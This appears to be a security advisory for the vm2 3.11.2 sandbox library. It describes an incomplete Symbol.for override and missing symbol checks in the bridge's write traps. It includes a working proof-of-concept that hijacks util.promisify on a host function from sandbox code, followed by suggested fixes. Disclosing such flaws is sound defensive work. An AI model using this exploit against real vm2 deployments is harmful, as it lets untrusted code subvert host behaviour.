Summary

vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.

Root Cause

1. Incomplete Symbol.for override (setup-sandbox.js:132-142):

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
    return originalSymbolFor(keyStr); // everything else passes through
};

Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:

• nodejs.util.promisify.custom
• nodejs.stream.readable
• nodejs.stream.writable
• nodejs.stream.duplex
• nodejs.stream.transform
• nodejs.webstream.isClosedPromise
• nodejs.webstream.controllerErrorFunction

Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.

2. Missing symbol check in bridge write traps (bridge.js):

The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

3. Incomplete filters in setup-sandbox.js:

isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection — missing promisify.custom and all stream/webstream symbols.

Verified Exploitation: util.promisify Hijack

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"

Additional verified attacks:

• Writing nodejs.stream.writable to a host Readable stream, altering its duck-typing identity
• Object.assign propagates unblocked symbols from sandbox source to host target
• Object.defineProperty with unblocked symbol key succeeds on host objects
• delete hostObj[unblocked_symbol] succeeds, removing host-set symbol properties

Impact

• Semantic confusion: Sandbox controls host util.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
• Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
• Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

Affected Versions

• vm2 <= 3.11.2 (all 3.x versions)

Environment

• Node.js v24.14.0
• macOS (Darwin 25.4.0)

Suggested Fix

1. setup-sandbox.js: Block all nodejs.* prefixed symbols:

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
    return originalSymbolFor(keyStr);
};

2. bridge.js: Add check to write traps:

set(target, key, value, receiver) {
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    // ...
}

3. setup-sandbox.js: Sync isDangerousSymbol, Object.getOwnPropertyDescriptors, Object.assign to cover all dangerous symbols.

References

• GHSA-m5q2-4fm3-vfqp
• patriksimek/vm2@928aef5
• https://github.com/patriksimek/vm2/releases/tag/v3.11.4
• https://nvd.nist.gov/vuln/detail/CVE-2026-47135